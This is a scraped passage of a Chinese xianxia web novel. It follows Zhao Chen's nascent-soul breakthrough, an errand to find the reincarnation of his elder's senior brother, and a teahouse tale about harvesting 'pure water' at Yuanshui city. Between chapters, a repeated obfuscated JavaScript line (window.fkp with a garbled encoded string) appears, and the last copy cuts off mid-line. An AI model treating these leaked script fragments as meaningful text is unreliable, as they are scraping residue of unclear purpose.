明尘在赵尘气息逐渐收敛、消失时便睁大眼睛,紧盯着赵尘。一直等了好几天,忽然,眼睛一亮,心中暗道:“来了。” 只见赵尘头顶一团青色烟云一跃而出,在空中滴溜溜一转,变成了一个飘渺、朦胧的人形。圆滚滚,肥嘟嘟,好似一个婴孩儿,两尺多高。 婴孩儿绕着赵尘飘了一圈,一伸手,从身上抓出几缕云烟,用嘴一吹,化作一片火海。又伸手往虚空中一抓,便将火海抓灭。之后又张开右手,一缕青烟从掌心飘起,用手指掐住,往远处一弹,化作一团雷光,炸裂在空中。 如此这般玩了一会儿后,婴孩飘到赵尘头顶,团成一团,一跃而下,跳进赵尘体内。过了约一盏茶的功夫,赵尘睁开眼睛,起身活动了一下筋骨,走到明尘身前,见礼道:“师叔祖。” “好,根基扎实,”明尘赞叹道:“元婴境界,魂魄借法力、元气显化,大小在三寸到三尺之间。” 若元婴小过三寸,几乎没有机会踏入炼气化神,即使侥幸成功,在元婴离体的一刹那,也会烟消云散,魂归冥冥。若元婴突破三尺之限,则会突破到下一个境界,那又是另外一个样子了。到时,神魂直接在虚空显化,法力似薄纱,披在神魂之上。 “而我天门弟子,踏入炼气化神境界,第一次元婴离体,皆是一尺左右身高。你刚才元婴显化,竟有近两尺七寸。元婴境界,你也算快要走完了。真是可喜可贺。” “这都是师叔祖的恩典,若不是师叔祖带我来这里,没有这先天生灵的属性,小子也不可能一突破,就有这般大小的元婴。” “休要糊弄我,”明尘一甩拂尘:“天门弟子,第一次元婴离体,一般情况下,最高不过一尺三寸。即使有先天生灵的属性加成,也不过一尺七寸。而你的元婴,除去先天生灵的属性加成,也有两尺余高,比正常情况下,天门弟子最大的高度还要高出将近七成。这难道还算不上根基扎实吗?” “嘿嘿,师叔祖明见,我也就比一般人壮实了一点罢了。” 听赵尘这么一说,明尘差点把拂尘砸赵尘脸上,笑骂道:“滚,要丢人回山在丢,你清微真人不要脸,本天师还是顾及脸面的。”说完,转身向前殿走去。 “哎,老祖宗,等等我……”赵尘连忙追上。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 地三十三章 回宗 赵尘随明尘出了大殿,秋禾等四人早已离开。明尘拉着赵尘,化作一道流光,飞入楼船。便和进来时一样,明尘划开虚空,驾着楼船穿过潋滟波纹。 当时正是初夏时节,傍晚时分,一群书生,正在茫山脚下,青江之畔,举行诗会。正是酒兴正酣,诗兴正浓的时候,有三五个书生,正聚在一起,谈论些神仙志怪之类的故事。 明尘驾着楼船从残破洞天中出来,一时忘了遮掩。见外界才是傍晚时分,忙招来一大片云彩,衬于楼船之下,将楼船遮掩住。可终究是机缘巧合,慢了一步。 几人忽然看见远方茫山深处,虚空中驶出一座楼船,皆目瞪口呆。旁边一青年举子看见几人的异状,不由问道:“元枚,你们怎么了。” 听见青年举子的问话,其他人的目光也被吸引了过来,处于几人中心位置的一十五六岁的青衣少年,回过神来,指着远处道:“刚刚看见一座楼船出现在虚空中出现,所以……” “哪儿呢?”其他人顺着元枚指着的方向看去,只见远处茫山深处,天边一片灿烂云霞,形态万千,或呈鸟兽虫鱼之形,或呈车马建筑之态。 “元枚,才这几杯,你就醉啦。”众人看了看天边,转过头来对青衣少年笑道。 “我没喝醉,刚才不仅我看见了,张兄、王兄、李兄都看见了。”少年争辩道。 “元枚,我们都知道你和垣阚、子嘉、孟轩等,平素都最喜欢这些神仙志怪之事,或是之前你们一时看错了呢,误把云霞看成了楼船也说不定呢。”旁边的都劝道。 少年争辩不过,只能默默的坐到一旁,独自喝着酒。不一会儿,诗会便散了场,虽然大家都不相信,但都将这件事当一件趣事说了出去。夏初时节,傍晚时分,有神仙自茫山深处驾楼船游于青江的故事,一时广为流传。 明尘忽然心中有感,掐指算了算,不由苦笑的摇了摇头。 “师叔祖,怎么了。”赵尘询问道。 明尘带着赵尘走到楼船的一侧,一挥衣袖,一片淡青色光幕洒在云霞之上。透过光幕,赵尘看见远处山脚处,青江畔,一群书生在举行诗会:“刚刚楼船从残破洞天中钻出来时,被其中几个书生看见了。倒是产生了一番因果牵连。” “这因果重吗?”赵尘想起之前庶务长老的话,还有经楼内关于这类事的记载,不由担心起来。 “重倒是不怎么重,就是最近没时间用来了结这段因果。这样吧,清微,你能否帮我一个忙?” “还请师叔祖吩咐!” “别担心,我只是让你二十五年之后过来渡一个叫做邹锦的少年入宗而已。”说着便指给赵尘看。 “这邹锦看起来已有十五六岁,二十五年之后岂不是有四十开外,若是养气境修炼个三十年,岂不是要到七十多岁才能结金丹。这还是在一切顺利的情况下……”赵尘语气有些斟酌。 “这你到不用担心,我观这邹锦还是有几分仙缘的……” 一番交流之后,明尘又为赵尘讲解一些气运因果之类的玄妙,便各自休息去了。 …… 三十丈的楼船,或行于云海之上,或驶在碧涛之间。 一晃三四个月过去,楼船正贴着一片无尽林海航行。明尘和赵尘对坐在一花厅内闲谈,明尘往窗外看了一眼:“赵尘,快到家了,等会儿我将船驾会我哪儿,你随我回去一下,有一点事想请你帮个忙,好吗?” “一切全听师叔祖吩咐,只是不知师叔祖要我做什么?”赵尘想都没想,毫不迟疑的答应了下来。 “一时说不清楚,等回去再说吧。”明尘想了想,回答道。 楼船穿过门楼,没有抄近路,不断划过高山大泽,平原丘陵,又一连飞了三五天,终于在明尘的住处落下。 “老爷,赵师兄”明尘刚将楼船塞进袖中,一位道童连忙赶了过来,见礼道。 赵尘仔细一看,便是三年前,在门口接自己的那道童,好像叫‘松儿’什么的,紧接着回礼道:“师弟安好。” “不敢当,不敢当。”道童连忙侧身避开。 “这三年,可有什么事发生,”明尘先将手中拂尘递给道童,然后双手解下身上的羽衣披风,递过去。开口询问道。 “回老爷的话,这几年都没什么大事,只是去年底,明枫天师来访,听说老爷不在,便离开了。”道童接过明尘递过来的拂尘和披风,回答道。 “明枫吗,我知道了。松儿,你回头帮我备份礼物,并从丹房里取一葫芦太仪丹,包在一起,过几天我给他送去。”明尘闻言,想了想,点了点头,随手从道童手中接过拂尘,往身上轻掸了一下,又转过头吩咐道:“给你你赵师兄安排个地方。” 说着,又转过头对赵尘道:“赵小子,你先回去休息一下,剩下的,我们明天再说,怎么样?” “一切全听师叔祖吩咐。那弟子告退了。”赵尘闻言,行礼道。说完,便随着道童离开。 赵尘随着道童穿梭在着宫殿之间,看着这和三年前一样的景色,心情却完全不一样了,想着从此以后,自己也是能坐观王朝生灭的人物了,不知怎的,忽有一种物是人非之感,不由的深深一叹:“唉……” 在一旁引路的道童,听见赵尘的叹气声,不由好奇道:“师兄怎么了,可有什么烦心事吗?” “烦心事到没有,只是突然想道,这转眼又三年过去了,自我入门至今,将近十年了。我是三百零三年初入的宗,今年已是第三百一十二年秋。真是韶华不为少年留啊,不由有一种虚度年华的感觉。” “师兄说笑了,这样算,师兄入宗门才九年而已,并且,不知师兄多少岁入宗的?” “我啊,我是十五岁入的宗。” 道童闻言,稍微一算:“照这么说,师兄今年才二十四。不知师兄现在是什么境界,于我而言,着实是深不可测?” “境界啊,这还多亏师叔祖赐下的机缘,不久前刚刚突破到炼气化神。” 道童听赵尘这么一说,不禁惊叹道:“师兄入宗不过九年,便是真人境界了。据师弟所知,大多数入宗的弟子,光养气境界,便要二三十年哩!” 正说话间,两人来到了赵尘之前的住处。看着道童远去的身影,想着其惊叹的语气,赵尘不禁轻声笑着摇了摇头:“我也是够无聊的。” 和道童炫耀一番之后,心情大好的赵尘随意检查了周围的环境,便闭门回到了房中。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第三十四章 任务 赵尘盘坐在云床之上,闭目调息,微微一跃,元婴便从头顶跃出,轻轻落到地上。 之前在秘境那儿,赵尘只是粗略的感受了一下元婴的状态,后来在楼船之上,也不怎么方便,只是盲目的苦修,不断的锤炼神魂,增长法力。如今有了空闲,正好细细体会一下元婴是个什么样的状态。 连续三四个月的苦修,让赵尘的元婴又长大了寸余,从之前的近乎两尺七寸,变成现在的两尺七寸多。 赵尘细细体会着,这元婴状态,神魂有质而无形,必须借助自身的法力、元气才能显化世间。所以这元婴轻飘飘的,飞、走、跳跃都非常的轻便灵活。 同样,因为元婴全部身体都是由元气、法力构成,施展法术不但方便快捷很多,而且威力也要大上许多。同样的,因为元婴的身体由元气、法力构成,离体之后,若不能用精神将之收敛住,便好像将一瓢水倒进大海中,立刻被大海同化掉。 所以,万一元婴离体之后,精神损耗太大,不能收敛住法力,被灵气不断稀释,将无形有质的神魂暴露出来,会迅速被浩瀚的灵气大海冲散掉,到时自然是烟消云散,一切成空。 而因为自己是先天生灵,这又有所不同,在这浩瀚的后天灵气中,便好像一块冰被扔进水中。元婴离体后,平时状态,稍微一活动,便有一丝丝微不可见的损耗。若是精神损耗太大,便是好像将一小块冰块扔进沸腾的大海中,到时怕是转瞬即逝。 也是因为这样,赵尘每次元婴出窍的时间比别人更短,也更危险。可同样的,每次元婴离体,这浩瀚的后天灵气便好像一座大磨,一座火炉,不断的锤打、磨炼、煅烧着赵尘的神魂。 正因为这样,使赵尘的神魂比平常人更加的坚韧、强大。这也是一种夯实基础的方法。 弄明白这一切之后,赵尘便一会儿回体内温养元婴,一会儿离体,锤炼神魂。一晃,一天便这样过去了。 …… 第二天一早,赵尘在殿前活动了一下筋骨,估算了一下时间,向明尘处走去。赵尘一边走着,一边猜想着,这座宫殿群,会不会是明尘按照赵宋帝朝的宫廷,部分复原出来的。 “清微,按宗内惯例,弟子在结成金丹之后,便会出门游历,这时间少则五六年,多则数十年,便是那种一去数百年了无音信的情况也是有的。如今你已是第二阶的修士,世俗之中也能称一声真人,不知准备的怎么样了。” 依赵尘的性格,自然是打算随便找个地方。窝上个几年到十几年便回来了。可如今明尘发问了,当然不能这样实话实说了。 “呃……弟子打算回去后休整一番,便出门游历。至于具体到什么地方去,弟子还没想好,到时走到哪算哪儿。” 闻言,明尘早有预料的笑了笑:“既然你也没有个具体的目的地。正巧,有件事我正好没时间,你帮我跑一趟吧。” 赵尘闻言一愣,随即连忙道:“好的,只是不知是什么事,具体要去哪儿?” 说是这样说,但实际上赵尘脑海中立刻蹦出的一个画面却是学有所成的少年从师父手里接了一个送信的任务,理论上快则十天半个月,慢则三五个月就能回来,但实际上…… 明尘大袖一挥,两杯热茶出现在桌上:“放心,不是让你去送信,这事说来话长,但也很简单,待我慢慢和你分说……” 原来明尘刚入门的时候,有一位师兄对其非常照顾。后来两人关系也十分要好,只是那位师兄终究机缘不够,最后终老于元神境界。 临终之时,将三道符诏全部用去,庇护自己数十世不会被轮回消磨。并且托付明尘,来世一定要渡他回宗。 轮回会对灵魂和更根本的真灵进行消磨和滋养。通过不段的滋养和消磨,每过一次轮回,灵魂和真灵便有一部分被替换掉。 以第一阶乃至更低修为的普通人举例,理论上,每过一次轮回,便有九分之一的灵魂和八十一分之一的真灵,因为轮回的滋养和消磨,而被替换掉。便是一位生生世世的第四阶修行者,十二次轮回便可以完全换到全部灵魂,一百零八次轮回便可以换掉全部真灵。 这一转眼就是八百多年过去了。也不知是不是拜在玄天门下将其的福源都消耗尽了,不过才八百多年,却转了二十多世。虽然明尘之前也数次找到其的转世之身,可每次不是福源太差便是资质不够,便没有将其带回宗门。 这二十多世轮转下来,便是三份仙诏,也庇护不了几世了。 “数年之前,师兄这一世的转世之身出生了。”说着,明尘起身从后方架子上翻出一个小木盒。从中取出一块三寸来长,一寸见方的条形白玉柱。玉柱之上不时泛起一层淡淡的青光,青光生灭之间,好像这块玉在呼吸一般。 “你也知道,我如今成仙在即,根本没有时间去寻找师兄的转世之身。” “所以我希望你可以帮我寻找一下这位师兄的转世之身。看其心性、福源、资质等是否合适。若是差不多的话,再将其历练、打磨、考验一番,若是能通过的话,便将其渡入宗门。” “好的,等弟子回山交代几句,便去寻找师叔祖的转世之身。” 见赵尘同意下来,明尘从桌上抽出两张帖子,提笔在上面写了一通,又摸出身份玉牌,将之当做印章,按在贴子上,输入法力,留下了一个印记。 明尘将两张帖子连同玉一同交给赵尘:“这件白玉中,被我封印了一丝师兄的和他许多次转世的精气神,拿着这件玉石,自然便能感应到师兄的转世之身所在。” “因为你还没有推荐弟子入宗的权利。所以,到时候你拿着我的帖子去,以我的名义推荐他入宗。这两张帖子分别是邹锦和师兄转世之身的。”随后明尘又为赵尘解释了一番玄天宗收徒的规矩。 正如之前所说,每一脉每一辈都有二十七个收徒名额,其中九个从所属山系中选拔;九个由该脉的上一代弟子,在山外寻找真正的良才美玉;还有九个是用来给弟子了结因果的。这三种名额,都看着不多,但基本上每次多是用不完。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第一章 离宗 三百一十二年,秋。 玄冥部洲玄左道,无尽林海附近的天上,一座不到丈余的精致小船飘荡在云海之上。 前些日子,明尘交代完任务之后,便将这座小楼船送给了赵尘。同时还送给了赵尘一窝食玉的玉蚕。明尘身的衣物便是由这种玉蚕丝编织而成。 从明尘那里离开以后,赵尘先是回灵照山休整了几天,顺手将人仙武道炼窍之前的法门传给了钱壮。随后又向首座报备,去经楼中留下自己的修炼法门,从庶务长老处领取呢一批物质,将一切处理好了之后,便将小船控制在三丈长短,驾着小船飞出了宗门。 一个人驾着小船飞在天上,赵尘竟有一种久在樊笼里,复得返自然的天高地阔之感。 这艘船是一件顶级法器,不但可以自由的变化大小和形状,从小巧的一叶扁舟到大小不一的乌篷船,再到十数丈乃是数十丈的巍峨华丽楼船,都能轻松变化。而且这法器可以从空中自由抽去灵气,维持部分运转的能力。像这种大小,便是法器自己从空中抽取的灵气,便足以维持其载着赵尘在空中飞行了。 船中,赵尘正半躺在其中,随手将一卷书盖在脸上,闭着眼睛,翻阅着脑海中关于玄冥部洲的记录,任小船在云海中往南飘去。因为按照玉柱的感应,明尘的那位师兄的转世应该在玄冥部洲的南边。 据书中记载,玄冥部洲,像一个右侧被抬起四十五度的扁平状“凹”字。长九百万里,最宽处近四百五十万里,较窄处三百万里。共分十道四十四州。虽说在玄冥部洲上,道的划分和州一样深入人心,但却很少有帝朝建立。 赵尘此行虽然是为了,寻找师叔祖的师兄,的转世之身,但实际上却并不怎么着急。赵尘虽喜欢宅在一个地方不动,但难得出来一趟,还是决定好好欣赏一番作为仙侠世界的古代风俗人情。虽然赵尘前世,连相对来说更加纯粹的,低武古代风俗都没怎么欣赏。 对着脑中的地图比划了一番,赵尘决定驾着小船横穿玄左道,到玄水畔,之后在沿玄水乘船而下,赶往南方。 便这样在天上飘了一个多月,飞了三十多万里。 一天夜里,赵尘乘着小船飞在半空中,忽然稍降低了小船的高度,离地数百丈,看着下方那一片灯火,望着几十年没有见过的景色,好似有一股湍湍暖流从心中流过,不禁露出一丝笑容。 连赵尘自己也不知道,也不知是临时起意还是早有打算,在离玄水不到百里处,赵尘按下船头,找了一个小林子,趁着夜色,落了下来。随后又就地取材,搭了间小木屋,休息了一晚。 第二天一早,一番洗漱之后,换了身劲装,外罩一件青袍。赵尘招来一面水镜,仔细打量了一番,随口称赞道:“好一个少年侠客!但好像少了点什么?” 略一思索,又翻出一件黑色长剑,背在身后,这才满意的点点头,转身离去。 黑色长剑也是赵尘上一次在地宫中的收获之一,连剑柄一起不到五尺长,剑身宽三指有余。看起来虽然只比一般的剑要大一些,但却有数百斤重。 …… 上午,源水城之外十数里处的一间路边茶铺。 茶铺里十来个汉子坐在其中吹牛,两个伙计在一旁忙里忙外,还有一五六十岁的老头,乐呵呵的坐在一旁,看起来应该是这茶铺的主主人。 “小猴儿,这几天你可要注意下,千万别惹事。”一个二十来岁的汉子,对坐在一旁的一个十五六岁的少年说道。 “知道了,小叔,你都说了好几十遍了。”少年一脸痞懒,显得很不耐烦。 “小猴儿,听你小叔的没错,前几天,一个黑沙帮的小子,在街上惹事,被当街斩杀,紧接着,整个黑沙帮都被剿灭了。”另一个二十多岁的汉子摇了摇头,一脸的心有余悸。 一个三十左右的麻衣大汉也点头道:“是啊,自从上个月,城里突然来了数千玄甲之后,街上的泼皮无赖,不是察觉不对提前跑了,便是被抓、被杀。之后,凡是敢惹事的,当场正法。也不知是什么情况?一开始我还以为节度使要和陛下开战呢。” “是啊,这数万玄甲军可是节度使压箱底的宝贝啊,据说全是由先天武者组成,咱偌大的源水府,绝大多数的先天武者都在其中了。”有人跟着点头。 “放心,这许家在这里扎根两百多年,六代人,三任知府,三任节度使,比国朝还要长几十年,要打早打了!我记得小时候,也有过那么一次,”一个三十五六岁的黑脸汉子开口,说着,转过头看着老头,问道:“李老,你知道是什么情况吗?” 坐在一旁,笑呵呵的李老抬起头,刚准备说,便看见远处一个青衣少年走了过来,微微一愣,奇怪的是,少年每一步都迈的不大,却都有三丈之远。且似慢实快,以至于,李老一开始看的时候,青衣少年还在半里开外,可这一愣的功夫,便已经走到茶铺之前。 李老早年可是在这玄左道游历过的,自然见过许多的先天武者,便是那先天七、八重天的乾坤境的武者,都见过几次。看着这大概只有十六、七岁的少年,周身自有一番气度,少说也是一位先天三、四重天的真意境武者。 李老心中‘咯噔’一声,面上却一脸笑呵呵的迎了上去:“少侠。” 赵尘跨入第二阶时,便生出了神识神意,在来的路上,远远便看见了这个茶铺,心念借助神意,远远便感知到了许多人的表层意识,再稍微引导一下。在赵尘走到茶铺前时,不但学会了当地方言,便是对当地的局势也有了一个浅显的了解。 赵尘看着迎上来的老者,笑道:“麻烦老丈了,先随便拿些茶水点心来,要有什么吃的,也上一点,赶了一早上的路。”说罢,找了个在角落的桌子坐下。 赵尘抬眼看去,店中十来个汉子,都是后天境界的武者。低的有个后天两三层左右的修为,高的有个后天五六成的修为,连两个伙计都有个后天一两层的修为。却是那个老掌柜修为最高,大概有个后天九层往上。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二章 玄左道 见此,赵尘心中不自觉的皱了皱眉。先前从这些人处了解道,这李老在这源水府勉强也算一小有名气的武林宿老,却只用后天末期的修为。便是之前众人所说的,能在源水城中立下名号的黑沙帮,也只有几个后天末期的好手。并且,按照他们所说,整个源水府,先天武者也只用几万人。这数量着实不对。 武道修行,先是两三年乃至三五年打熬筋骨的时期,之后便是后天十二层,可分个前、中、后、末,每三层一分。之后便是先天八重天,其中一二重天称开脉境,三四重天称真意境,五六重天称天象境,七八重天称乾坤境。 按照书中记载,一般情况下,一府之地,有人口千亿,其中武者数量大概百中取一,约十亿左右,每数千到一万名武者当中,才可能诞生一位先天武者,其数量应该在数十万左又。而这源水府,先天武者的数量只有一成左右。 想到这里,加上这是赵尘第一次独自一人,外出游历,再加上自己昨夜忽然心有所感,赵尘忽然警觉起来,只觉的前面正有一个大坑在等着自己。当然了,这不是说有人要害他,而是自己不小心撞上的。按照此世的说法,应该叫因缘际会,气运牵引。 先不说这是不是真的有坑,这坑的大小。赵尘现在要考虑的是要不要踩着个坑,便真的有坑在前面,若现在转身就走,很大可能是可以避开的。一般情况下,按照赵尘的性子,自然是能避就避的。可仙道修行,虽说要少因果,但若是不历红尘,不渡众生,又如何能够成就, “这源水城离玄天宗不过几十万里,几乎就在家门口,若是连这也要避开的话,那……”想到这里,赵尘随即做出了决定。 “少侠,你要的茶水、点心、吃食来了。” 赵尘坐下不到数个呼吸,老者便将东西一盘盘的端上来:“地方简陋,也没什么好茶,点心也没有,各类干果到有不少,每种都给少侠拿了一些来。还有些肉类,是猎户今早送来的,做了几盆,大概还要等上片刻,怠慢少侠了,还望恕罪。” “有劳老丈。”赵尘连忙道谢。说着,抽出筷子,每种都尝了尝,味道不怎么样,只能说不难吃,并且,食物中杂质太多,吃下去获得的能量,还不如将食物中的杂质排除体内消耗的能量多。 所以,表面上,看起来赵尘将这些东西吃下了肚,实际上,无论茶水还是其他,刚被赵尘送入口中,便被磨盘转化成了能量。和吸入的灵气一样,用来温养灵脉去了。 周围人也不是傻子,自看见李老亲自将赵尘迎进来之后,整个茶铺陡然安静了下来。却是那叫小猴儿的少年,却是耐不住性子:“老李,之前不是要说……” 话还没说完,坐在他旁边的小猴儿的小叔,抓住小猴儿的胳膊,用力一捏,将小猴儿的话挡在嘴里:“喝你的茶吧,就你话多。” 接着又对赵尘和老李连连表示歉意。 老李也对赵尘直作揖:“小孩子不懂事,还望见谅。” “这话说得,好像我要吃人似的,”赵尘笑着摇了摇头:“看起来,倒是我搅了你们的谈兴,实在对不住。还请原谅责个,老丈,不知之前你们在聊什么?” 说罢拱手至歉,众人连道不敢。 老李看了赵尘一眼:“少侠不是源水府的人吧,可是来此游历的?” “老丈好眼力,我确实是在游历天下,出生哪里,是个小地方,老丈应该没听说过,先前去了无尽林海,如今横穿并州,打算在玄水坐船南下。对了,老丈知道无尽林海吧!” 这玄天山周围是一片树林,这树林存在了无尽岁月,普通人不知道玄天山所在,只知道这一片长两百万里,宽数十万里的古老森林,此林名为玄天禁林,又称无尽林海。 “小老儿年轻时也曾在外游历过。这无尽林海还是去过的,”老李看了赵尘一眼,稍一犹豫:“顺着路往前十来里,便是源水城,源水城沿玄水而建。这个月,城里来了数千玄甲军,城内戒备森严了很多。我们之前便是说这件事。” “不过少侠,这源水城虽在玄水边上,但却没有船供少侠南下。” “这是为何?” 老者稍微组织了一下语言:“这玄左道自西北往东南共分成寒、并、庸三州,而郭氏仅占并州一州之地,但是对面的江北道五州尽归武氏一家所有。” “所以朝廷沿此六十万里水道,十府五十郡二百四十县修筑了二百四十城,府城十,郡城五十,县城一百八十。且每座城池之间,无论绝壁悬崖,还是河滩沙地,都以高耸城墙串联。” “每座城,除了战船,平时只许持有此城发放的有捕鱼资格的渔船进出。除此之外,只有少数情况如:源水城三十年一次,每次一个月的捕捞净水的活动这般情况,才允许别的船下水,但也要有相应的资格。至于对面,倒是要宽松一些。” 这李老不愧外出闯荡过,是个有见识的,将事情的起因、经过,结果一条条列了出来。为了维持人设,赵尘随即皱眉道:“那庸州那段呢?” 老汉仔细想了想:“我少年时曾游历过大半个玄左道,庸州也去过。庸州背靠冥仑山,面朝林海,右连玄右、镇东两道,左依玄水,接着并州和江北道,倒是比并州繁华很多。那段玄水,虽允许商船来往,但也只在每年特定的时节,并且查的很严。” “特定的时节,什么时候?” “每年的夏初时节,五月左右,庸州的那段玄水的关卡会定时打开,每三天一次,每次自巳时至未时打开三个时辰,共开关卡九到十次。” “照这么说来,便还有七个月了。七个月要从这里赶到那到关卡处,时间有点紧,也不知来不来的急。” 赵尘轻声自语了一番。随后又说道:“对了,老丈,您之前说源水城捕捞净水,是个什么情况?” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第三章 净水 对此,老李解释道:“这便和之前说的那事有关了。少侠对大地祖脉可了解?” “了解的不多,这玄水和冥仑山作为这天下的祖脉,这点我还是知道的。” 这玄冥部洲的大地祖脉自然是玄天山,但玄天山坐落在无尽林海之内,世人知道的不多,故而在世俗当中,多是将玄水和冥仑山认为是这天下地脉之祖,玄水为天下水脉之祖,冥仑山为天下龙脉之祖。 “没错,这玄水作为天下龙脉之祖,自雪岭而下,绵延数千里,逐渐汇聚,从源水城外流过。这源水城作为玄水源头附近,倒也有一般好处,这便是这段时间城内森严的原因。” 旁边的汉子不禁问道:“什么好处?”话出口之后,才觉得不对,不禁看了看赵尘。 “传说这玄水每隔半甲子会形成三斤三两三钱重的净水,这些净水乃是玄水源头处龙气、水精凝聚而成。在源水城附近彻底形成,而后流经千里江面,其间或被鱼虾吞食,或被水藻吸收。之后又会逐渐稀释、消散在这江水之中。” “这传说我也听过,莫非是真的?”几个汉子脱口而出问道。 “后来,人们发现了这净水之妙,便在这净水形成的时节,在这段水面寻觅净水,逐渐在这段玄水两岸形成了两座城池,这源水城无数次毁于战火,又无数次重建,便是此理。” “那净水又有什么用处呢?”赵尘故作好奇的道。 这净水作为一种灵水,说说寻常的话还是有点价值的,说珍贵的话又太少了。若是收集个几十上百斤,无论是用来炼丹、浇灌特殊灵植,还是洗炼法器等都是不错的。 三十年一次,每次总共才几斤的量,寻常修士一生也凑不出一份,等能有这个时间的时候,这净水又已经毫无价值了。所以玄天宗的藏书之中,也就少数几十本在其中记了一笔, 这净水于普通人有何用处,赵尘先前还真不清楚。 老李咂了咂嘴,感叹道:“这净水可是好东西,服用之后,可以洗涤肉身,纯净内力、真气,要是修炼水属性的功法,那好处就更大了。” “李老,快别卖关子了,这净水还有甚好处你倒是快说啊!”听了老李的话,赵尘还没说话,周围几个汉子反倒急了起来。 “相传,若是一普通人,体质合适,再有一本水属性的功法,一两净水,便可以从普通人修炼到先天一层。之后,二两到二层,四两三层……直到成为半步宗师。换句话说,如果能得到五十一斤一两的净水,便可以让一个体质和功法合适的普通人一年内一跃成为一位半步宗师。” “当然了,这半步宗师是个什么样子,别说见了,小老儿便是听也没听过。只是听人说过,这乾坤境之上,便是宗师境界,若是半步脚跨进了宗师大门,便是半步宗师,和先天八重天相比,也是有无上神威的。至于具体的,啧啧……” 旁边的汉子们,听了老李这么一说,心中一片火热。茶铺中的气氛顿时就热烈起来。 “想什么美事呢,这净水是那么好拿的吗,能在这里安心的喝碗茶不好吗?”见周围汉子的样子,李老厉言呵斥道。 赵尘看眼周围,垂下眼睛,微微的摇了摇头,笑道:“这般资源,想来应该全部掌握在官府手中,很难获得吧。” “少侠说的差不多,这净水,绝大多数都会落在这段玄水两岸的官府手中,剩下的部分,则会被不属于官府的武者获得。” “至于具体的分配方案,本地过半的后天后期的武者都知道。” “自古盟约,将这一段宽数百里,长一千里的水面分成十段,每段长一百里。前六段归两岸的官所有府,后四段由两岸的武者分配。至于再具体的,便是由官府安排。” “对面是个什么规矩却是不甚清楚。而这边,如今的规矩是待日子到来,将城内所有愿意取净水的,后天后期上的武者请到府中。府中会提供一张经仙师施法的细密纱网。但之后不论收获如何,都要为节度使做一段时间的事。” “玄第七段者,事后要做三十年。但若下一次还愿意的话,选第七段则只要十年。选第八段者,事后二十年,第二次选第七段二十年,选第八段十年。选第九段者事后十年,下次无优惠。” “至于第十段,凡是知道这件事的人都可以去,事后也不用服役。但节度使不会免费提供捞网。要么自备,要么一千两银子一张。” 听着是用纱网捞取所谓的净水,周围的汉子都啧啧称奇。 见周围人惊奇的模样,李老接着开口道:“对仙师长什么样子,我们从来没见过,不知真假。但这用网捞净水却是真的。” “那是一张巨大的细密白纱织成的网兜,张开来有上百丈之长,看起来和普通纱布没什么两样,但抓在手中却能感受到丝丝的神异,这神异能保持一个多月,之后便和普通纱布一个样了。” “到时将纱网撒在江中,再拖回岸上,会发现纱网一点也不湿。将网中的鱼虾、水藻、沙土、垃圾等清理干净,晾晒一番、再一点点的将纱网收起,这个过程中,如果侥幸在网中发现了一两滴的极度纯净的,比普通水珠稍重的小水珠,这便是净水了。” 说着,老头摇了摇头,将自己从回忆中摆脱出来。 “是这样啊,老丈说的那么清楚,可是参加过,这净水好捞吗?” 赵尘这话好像挠到老者的痒处,老李略显得意的摆了摆手手。 “好不好捞,二十滴净水一钱重,上一次源水府这边就十数万人参加。其中九成九以上都一点收获也没有,剩下的人中,绝大多数也只捞到了一两滴。我以为节度使效力十年的代价,在第九段那里忙活了一个月,一连捞上了十七滴,这个秘密我一连在心里藏了三十年啊!” 看着一脸红光的老者,赵尘连忙赞叹道:“老丈真是好运气,着实让人羡慕!” “少侠谬赞。”老李一脸满脸笑意的客气道。随后老李又说起了早些年自己行走天下的经历。使得周围冷下来的气氛再度热烈起来。 众汉子也第一次这么详细的听到老李在江湖中的经历,这剩下的十几个汉子,说是闯荡江湖,实际上却连周围几个县城都没跑熟,能有多少见识。一段段平山寨,降恶霸,宿破庙,醉楚馆,钻冰水,跳山崖的经历听的众人大呼过瘾。 平时这李老汉最多在别人说某些事的时候轻飘飘的点上几句,让人知道其不简单。再问就端着碗茶水,笑着摇头不语,尽显神秘,让人火大。今日却终于让人听了个痛快。 window.fkp = 